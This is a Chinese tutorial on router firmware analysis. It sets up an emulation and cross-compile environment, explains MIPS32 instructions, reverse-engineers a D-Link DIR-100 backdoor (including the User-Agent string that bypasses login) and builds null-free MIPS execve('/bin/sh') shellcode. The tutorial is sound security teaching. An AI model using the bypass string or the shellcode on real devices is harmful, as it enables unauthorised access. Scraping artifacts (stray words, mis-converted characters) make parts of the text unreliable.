前言html
本文可做爲路由器安全的入門學習教程,一塊兒學習從零基礎從搭建環境開始入門路由器固件安全分析的技術。python
搭建環境篇linux
演示系統:debian 3.16.0-4-686-paegit
本篇重在演示路由器固件分析及運行環境,而對於工具各參數將不詳細闡述其用法,這裏只要可以成功搭建起來便可。github
因爲binwalk,qemu等工具目前只能在linux環境下運行,又好比須要wine運行32位IDA程序。故綜合各方面,建議安裝32位debian發行版本。web
在安裝各工具及依賴前更新/etc/apt/source.list,添加一行:deb http://us.archive.ubuntu.com/ubuntu saucy main universe,接着sudo apt-get update。以及安裝build-essential:sudo apt-get install build-essential,它可以解決安裝過程的複雜的依賴問題。shell
1.IDA proubuntu
因爲路由器提取的根文件系統有符號連接,在Windows下容易形成符號連接丟失,故在linux中安裝IDA Pro,同時linux原生版本的IDA pro網上的版本過舊,因此採起wine運行Windows IDA Pro。安裝wine,經過在終端輸入以下命令:安全
sudo apt-get install wine
選擇在/opt目錄下新建目錄ida將Windows IDA Pro下全部文件一律都拷貝到該文件夾下。網絡
同時idaq.exe和idaq64.exe均爲32位可執行文件,這裏也是安裝32位Debian的緣由。
因爲後續會使用到IDA Pro的IDAPython插件,故還須要下載https://www.dllme.com/dll/download/14091/python27.dll(該下載地址來源於網絡),並放置到ida根目錄下。同時啓動idaq.exe以以下方式啓動:`export PYTHONPATH=/usr/lib/python2.7 && wine idaq`,固然能夠寫入/usr/bin中,以該腳本方式啓動。
最後,對路由器分析還須要一些IDA插件的支持,terminal中輸入git clone https://github.com/devttys0/ida.git,將整個目錄中的py文件拷貝到/opt/ida/plugins中。此時啓動後可以看到插件的生效如MIPS ROP Finder。
2.BinWalk
如kali中安裝帶有BinWalk,可是因爲缺乏依賴依賴,故沒法對固件進行解包,先使用git進行下載:git clone https://github.com/devttys0/binwalk.git。
此時,僅能夠對固件進行簡單的掃描操做。
安裝依賴能夠經過binwalk根目錄下的INSTALL.md依次進行安裝或者以root身份運行deps.sh。
經過執行binwalk -Me 固件文件做爲判斷依賴是否安裝成功的依據。
3.qemu
qemu爲模擬處理器的軟件,經過git進行下載:git clone git://git.qemu-project.org/qemu.git。進入qemu下載目錄。
執行以下命令
git submodule update --init pixman git submodule update --init dtc sudo apt-get install libglib2.0 sudo apt-get install libglib2.0-dev sudo apt-get install autoconf automake libtool
成功後進行配置並編譯安裝:sudo ./configure --static&&sudo make&&sudo make install。
對某固件bin目錄下非符號連接的文件進行file命令,判斷其指令集類型。
tophant@debian:~/IOT/backdoor/_w30xr_v3.1.201c_cn.bin.extracted/_40.extracted/_ramdisk.extracted/squashfs-root/bin$ file busybox busybox: ELF 32-bit LSB executable, MIPS, MIPS-II version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped
說明爲mips小端格式(little endian),小端格式也可見固件分析篇一節。
在提取文件系統的bin目錄中直接執行qemu-mipsel ls,將會報找不到庫文件的錯誤。這實際上是由於須要定位根目錄到提取出文件系統的根目錄中。
tophant@debian:~/IOT/backdoor/_w30xr_v3.1.201c_cn.bin.extracted/_40.extracted/_ramdisk.extracted/squashfs-root$ cp $(which qemu-mipsel) ./ sudo chroot . ./qemu-mipsel /bin/ls
將qemu-mispel拷貝到當前目錄,爲更改執行目錄作準備,以後接着執行ls命令,能夠看到可以將mipsel指令集的ls運行起來了。
4.交叉編譯環境
後續過程當中,涉及到編譯編寫存在漏洞的mips可執行文件及編寫mips可用的shellcode,故須要在linux上搭建交叉編譯環境。
wget http://buildroot.uclibc.org/downloads/snapshots/buildroot-snapshot.tar.bz2 tar -jxvf buildroot-snapshot.tar.bz2
完成下載及解壓後,執行以下命令。
cd buildroot sudo apt-get install libncurses5-dev patch make clean make menuconfig
出現以下界面
以MIPS小端格式爲例,進入target options->target architecture選擇mips(little endian),target options->target architecture variant設置爲MIPS。
進入toolchain將kernel headers中將其改成對應機器的內核版本。
因爲測試機爲3.16,故修改成低於此版本的headers。
執行sudo make進行編譯,成功後在buildroot目錄的/output/host/usr/bin下出現mipsel-linux-gcc。
一樣,能夠編寫hello world程序使用mipsel-linux-gcc進行編譯後,使用qemu-mipsel進行運行,其中mipsel-linux-gcc用法與gcc一致,讀者能夠自行運行一下。
5.系統環境網絡配置
以前,已經經過qemu成功執行了一個mips程序,qemu還有一種模擬整個系統的模式。如今配置qemu虛擬機中的網絡環境。
sudo apt-get install uml-utilities bridge-utils
後續步驟來源於參考資料,未能掌握這樣配置的緣由,但暫且循序漸進進行操做。
向/etc/network/interfaces添加以下內容:
auto lo iface lo inet loopback auto eth0 iface eth0 inet manual up ifconfig eth0 0.0.0.0 up auto br0 iface br0 inet dhcp bridge_ports eth0 bridge_stp off bridge_maxwait 1
在/etc/qemu-ifup中寫入以下內容:
#!/bin/sh echo "executing /etc/qemu-ifup" echo "bringing up $1 for bridged mode..." sudo /sbin/ifconfig $1 0.0.0.0 promisc up echo "adding $1 to br0..." sudo /sbin/brctl addif br0 $1 sleep 2
保存退出後使用chmod a+x爲其加上可執行屬性。輸入sudo service networking restart重啓網絡使設置生效。sudo ifdown eth0&sudo ifup br0。此時演示環境的網絡狀況以下:
如今,須要下載內核文件和磁盤鏡像。進入people.debian.org/~aurel32/qemu/便可,小端格式MIPS則爲下載vmlinux-2.6.32-5-4kc-malta和debian_squeeze_mipsel_standard.qcow2。
執行以下命令。
sudo qemu-system-mipsel -kernel vmlinux-2.6.32-5-4kc-malta -hda debian_squeeze_mipsel_standard.qcow2 -append "root=/dev/sda1 console==ttyS0" -net nic,macaddr=00:10:10:10:10:10 -net tap -nographic
進入後默認密碼爲root/root,登陸後編輯/etc/network/interfaces,加入以下內容:
auto lo iface lo inet loopback # The primary network interface allow-hotplug eth1 iface eth1 inet dhcp
ifup eth1 啓用eth1接口,如今mips虛擬機網絡信息以下圖。
至此,經常使用的路由器固件分析工具均已搭建且配置完畢。
指令分析篇
爲了避免在分析固件的過程當中,避免反覆說明同一類問題的狀況,本篇將會把涉及的mips彙編指令及特性等相關內容進行彙總加以說明。
目前,路由器多爲使用mips32指令集的linux,掌握mips32彙編在逆向分析路由器固件中顯得格外重要。整體來講,其屬於risc精簡指令集,每條指令爲4字節定長。
1.寄存器
mips32中存在32個通用寄存器,每一個寄存器長度均爲32位,具體可見下表。
除了通用寄存器,還有幾個特殊寄存器\$pc(程序計數器),\$hi(乘法高位存放,除法餘數存放),\$lo(乘法低位存放,除法商存放)。
2.常見指令
mips32指令編碼類型:
(1)6bit 操做碼+5bit源操做數+5bit第二源操做數+5bit目的操做數+5bit位移量+6bit函數碼
(2)6bit操做碼+5bit源操做數+5bit第二源操做數+16bit當即數
(3)6bit操做碼+26bit地址
算術類:
由於受到risc指令定長的影響,對於mips32來講全部操做數不能使用內存尋址方式。對於add(i)(u)/sub(i)(u)加減類操做使用3個操做數,對於使用當即數的運算當即數大小不能超過16bit的表示。div/mul指令因爲結果保存在特殊寄存器\$hi和\$lo中,因此使用2個操做數便可。
load/store類:
load對應其彙編指令中l開頭的指令如lb,lw,la等等,做用爲將尋址內容或是當即數讀入寄存器。相應地,store爲s開頭如sb,sw等等將制定長度內容存入內存地址中。
跳轉指令:
均爲無條件跳轉。j target爲跳轉到target表示的地址,jr \$reg如jr \$ra經常被用於函數返回,jal target表明junp and link將下一指令位置存入\$ra並跳轉到$ra。 其使用(3)型指令,故能夠尋址26bit地址即256mb。
分支跳轉指令:
b target無條件跳轉到target,beq \$reg1,\$reg2,target爲\$reg1=\$reg2時跳轉到target。一樣地,beq後的eq能夠被替換包括lt(小於),le(小於等於),ne(不等於),ge(大於等於),gt(大於)。
syscall:
完成系統調用,\$v0存放系統調用號,通常狀況下,\$a0-\$a3存放參數,系統調用返回時\$v0存放返回值,如若出錯則在\$a3中存放錯誤編號。
3.特性
尋址方式:
包括當即數尋址,寄存器尋址,寄存器相對尋址(寄存器和16位當即數相加後尋址),pc相對尋址:pc寄存器和16位當即數左移2位後運算尋址。
內存表示方法:
正如環境搭建出現的mipsel(little-endian),這裏以舉例方式來講明。如0x12345678早大端和小端方式存放的區別。從低地址到高地址表示大端存放字節爲0x12,0x34,0x56,0x78,小端方式從低地址到高地址爲0x780x56,0x34,0x12。
流水線特性:
也被稱爲分支延遲槽 ,與時鐘週期等有關,如jal在完成函數調用前jal的後一條指令已經被執行。
後門分析篇
本節將經過逆向分析一個實際路由器後門漏洞問題,在此同時鞏固指令分析篇的知識。
2014-02-10,CNCERT在http://www.cert.org.cn/publish/main/9/2014/20140429121938383684464/20140429121938383684464_.html 一文中通報了多個路由器的後門漏洞,其中包括D-LINK路由器的一個後門漏洞。
固件能夠經過ftp://ftp.dlink.eu/Products/dir/dir-100/driver_software/DIR-100_fw_reva_113_ALL_en_20110915.zip進行下載。
首先,須要將固件的文件系統提取出來,使用環境搭建中安裝的binwalk工具進行提取。輸入命令:binwalk -Me DIR100_v5.0.0EUb3_patch02.bix,其中-e表明根據配置文件從固件中提取文件系統,-M表明根據進行遞歸提取。
成功提取後,進入提取文件系統目錄 的bin目錄下。同時,因爲該後門的描述爲:攻擊者經過修改User-Agent 值爲「xmlset_roodkcableoj28840ybtide」(沒有引號)便可繞過路由器Web認證機制取得後臺管理權限。故推測該後門與路由器的web server程序有關,在該目錄下對文件名做爲簡單的判斷依據,故對webs文件進行逆向分析。
根據file命令得知其爲大端mips32格式的可執行文件。
tophant@debian:~/IOT/backdoor/_DIR100_v5.0.0EUb3_patch02.bix.extracted/squashfs-root/bin$ file webs``webs: ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped
根據公告信息得知,在IDA Pro字符串窗口搜索字符串:xmlset_roodkcableoj28840ybtide。
根據交叉引用位置發現該字符串被出如今alpha_auth_check函數中。
能夠看到這個字符串和$s0+0xd0處內容當strcmp匹配成功,則會v1=1,轉入loc_423edc。
這裏也就是check成功的返回值。也就是以前設置的1。
而s0就是a0,傳遞的第一個參數。
依次向上找調用處。
函數簡化的爲調用流程httpd_parse_request->alpha_httpd_parse_request->alpha_auth_check。在httpd_parse_request中看到結構體0xd0偏移處 的設置。這裏對應user-agent域的內容。這裏驗證了確實是user-agent爲該值進行驗證。
繼續看上層函數會判斷alpha_auth_check返回值與-1的值。同時注意這裏延遲槽的處理。
成功傳入http_request_t*內容等調用do_xgi處理請求。
驗證不經過則重定向到/public/login.htm。
這一步驗證了爲該特殊值經過驗證不會被重定向到登陸頁面的狀況。最終肯定該後門漏洞細節與描述一致。
漏洞利用基礎篇
1.基本溢出原理
本篇將介紹如何編寫基礎功能的shellcode中的payload,如ctf pwn中經常會使用到的執行/bin/sh。因本篇作基礎技術介紹,至於其餘更爲複雜的payload編寫及實際二進制漏洞利用將在後續依次介紹。
mips與x86函數調用存在比較大的差異,從以下幾點進行描述。
葉子函數:內部再也不調用其餘函數的函數稱爲葉子函數,相反稱爲非葉子函數。
先來分析如超過4個參數傳遞的非葉子函數調用。
高地址到低地址依次爲當前函數的寄存器備份和局部變量,參數x-參數1(參數4-參數1預留),當前函數返回用的地址,調用函數的寄存器備份及局部變量。。。。。。依次類推。葉子函數和非葉子函數根據以前的描述可知其決定如何返回到上層函數。故討論覆蓋返回地址問題時須要分開討論。
因爲這裏的non_leaf會調用strcpy因此其是一個非葉子函數,能夠看到var_4位置是返回\$ra存放的位置。而var_20是strcpy的目的地址,這裏存在棧溢出漏洞是能夠覆蓋掉var_4控制返回地址 的。
對於葉子函數,這類狀況返回地址不會暫存在棧中,因此其經過$ra進行函數返回。此時就須要知足溢出空間足夠,來覆蓋上層函數存放返回地址的區域,由於上層函數一定是一個非葉子函數。
2.基本payload編寫方法
在mips32-linux的payload編寫,不可避免的使用到syscall系統調用。正如固件分析篇中所描述的,\$v0做爲系統調用號,$a0-\$a3做爲傳遞參數。
首先,不一樣系統調用對應不一樣的系統調用號及參數,故須要完成肯定系統調用號的工做。爲了肯定系統號,進入使用者的buildroot目錄(爲搭建環境中的交叉編譯安裝目錄),如進入/home/tophant/buildroot/output/build/linux-headers-3.12.74/usr/include/asm,查看unistd.h頭文件,演示的對應大端mips-libnux的頭文件,不過對於小端mips-linux來講應該保持一致。以下爲該 文件的簡單片斷。
Linux o32 style syscalls are in the range from 4000 to 4999. #define __NR_Linux 4000 #define NR_syscall (NR_Linux + 0) #define NR_exit (NR_Linux + 1) #define NR_fork (NR_Linux + 2) #define NR_read (NR_Linux + 3) #define NR_write (NR_Linux + 4) #define NR_open (NR_Linux + 5) #define NR_close (NR_Linux + 6) #define NR_waitpid (NR_Linux + 7) #define NR_creat (NR_Linux + 8) #define NR_link (NR_Linux + 9) #define NR_unlink (NR_Linux + 10) ...... #define NR_prlimit64 (NR_Linux + 338) #define NR_name_to_handle_at (NR_Linux + 339) #define NR_open_by_handle_at (NR_Linux + 340) #define NR_clock_adjtime (NR_Linux + 341) #define NR_syncfs (NR_Linux + 342) #define NR_sendmmsg (NR_Linux + 343) #define NR_setns (NR_Linux + 344) #define NR_process_vm_readv (NR_Linux + 345) #define NR_process_vm_writev (NR_Linux + 346) #define NR_kcmp (NR_Linux + 347) #define NR_finit_module (NR_Linux + 348)
可知,對於mips32來講syscall的功能號範圍爲4000到4348。好比#define NR_execve (NR_Linux + 11)表明execve的調用號爲4011。
那麼,如今便動手編寫一個運行linux shell的payload,對應linux中的函數爲execve。首先經過man查看該函數的簡要說明,以便肯定系統調用時的參數。
NAME execve - execute program SYNOPSIS #include int execve(const char filename, char const argv[],char *const envp[]);
可知,只須要向filename填充"/bin/sh"來完成,argv,envp填寫NULL便可。
以下爲使用mips32彙編語言編寫的代碼。
.section .text .globl shellcode_execve .set noreorder shellcode_execve: addiu \$sp,\$sp,-32 jal alpha nop alpha: addiu \$a0,\$ra,20 li \$a1,0 li \$a2,0 li \$v0,4011 syscall variables: .byte 0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68
.section .text表明爲代碼段;.globl shellcode_execve表明程序主函數入口根據shellcode_execve標識;.set noreorder與流水線機制相關,爲了代碼被從新編排故加上本句宏.
shellcode_execve使用jal指令,這將會把alpha的運行時地址存入\$ra中,目的爲可以動態定位到variables標識的地址初,避免不一樣運行環境下的不一樣地址問題,也被稱爲代碼重定位技術。而nop一句爲流水線機制留空。addiu \$a0,\$ra,20爲定位到variables,\$ra運行時爲alpha的地址,而mips32爲risc,指令爲定長4字節,能夠計算出到該字符串的距離4x5=20,接着就是參數2,3設置,現設置爲NULL。最後完成調用號爲4011(execve)的系統調用,最後緊跟/bin/sh字符串。
編譯並連接使用以下指令,一樣用到交叉編譯工具buildroot。
tophant@debian:~/buildroot/output/host/usr/bin$ ./mips-linux-as /home/tophant/IOT/source/shellcode_execve.S -o /home/tophant/IOT/source/shellcode_execve.o tophant@debian:~/buildroot/output/host/usr/bin$ ./mips-linux-ld /home/tophant/IOT/source/shellcode_execve.o -o /home/tophant/IOT/source/shellcode_execve ./mips-linux-ld: warning: cannot find entry symbol __start; defaulting to 00000000004000d0
該mips32彙編編寫已結被成功運行。如今須要將編寫的shellcode提取出來。首先經過readelf讀取節頭表。
能夠看到起始於0x4000d0,大小爲0x30。進入ida在反彙編窗口找到對應位置,單擊0x4000d0,進入hex-view。
灰色區域就是待提取的shellcode。
E0 FF BD 27 37 00 10 0c 00 00 00 00 14 00 E4 27 00 00 05 24 00 00 06 24 AB 0F 02 24 0C 00 00 00 2F 62 69 6E 2F 73 68 00 00 00 00 00 00 00 00 00
例如存在使用strcpy的溢出漏洞,完整的payload將會被\x00截斷,故須要將\x00壞字符剔除。
\x37\x00\x10\0c jal alpha \x00\x00\x00\x00 nop \x14\x00\xe4\x27 addiu \$sp,\$sp,-32 \x00\x00\x05\x24 li \$a1,0 \x00\x00\x06\x24 li \$a2,0
如上彙編指令均須要被調整爲不帶\x00的指令。
.section .text .globl __start .set noreorder __start: addiu \$sp,\$sp,-32alpha2:li \$a2, 0x1111bltzal \$a2, alpha2lui \$a1, 0x101alpha:addiu \$a0,\$ra,1025addiu \$a0,\$a0,-1001slti \$a1, \$zero, -1slti \$a2, \$zero, -1li \$v0,4011syscall 0x1111 variables: .byte 0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68
根據參考,jal alpha調整爲li \$a2,0x1111;bltzal \$a2,alpha2這樣保證alpha在當前調整連接的上方不會由於payload長度緣由致使跳轉高8位爲0x00。
nop指令在x86下爲\x90,而在mips32下爲\x00\x00\x00\x00,因此使用不影響payload運行的無效指令替代nop,lui \$a1,0x0101。
\x14\x00\xe4\x27一句中能夠看到低2字節和調整堆棧位置大小有關。因此經過先加一個16進制的3位數,再相應前去對應大小便可,同時保證不含\x0001103。如addiu \$a0,\$ra,1025,addiu \$a0,\$a0,-1001。
li \$a1,0調整爲slti \$a1,\$zero,-1,由於0寄存器總小於1,\$a1必定會被置爲0。同理調整 li \$a2,0爲slti \$a2,\$zero,-1。
最後,重構payload須要調整重定位的偏移。
能夠觀察到全部的\x00都被剔除了。至此以\x00爲壞字符的修正過程完畢。
以上均是shellcode的編寫技術的基礎概覽,在實際運用中還須要根據特定條件進行必定的轉換。
參考資料
1.揭祕家用路由器0day漏洞挖掘技術——吳少華
2.詳細的路由器漏洞分析環境搭建教程——伐秦
3.Reported Vulnerability - D-Link routers authenticate administrative access using specific User-Agent string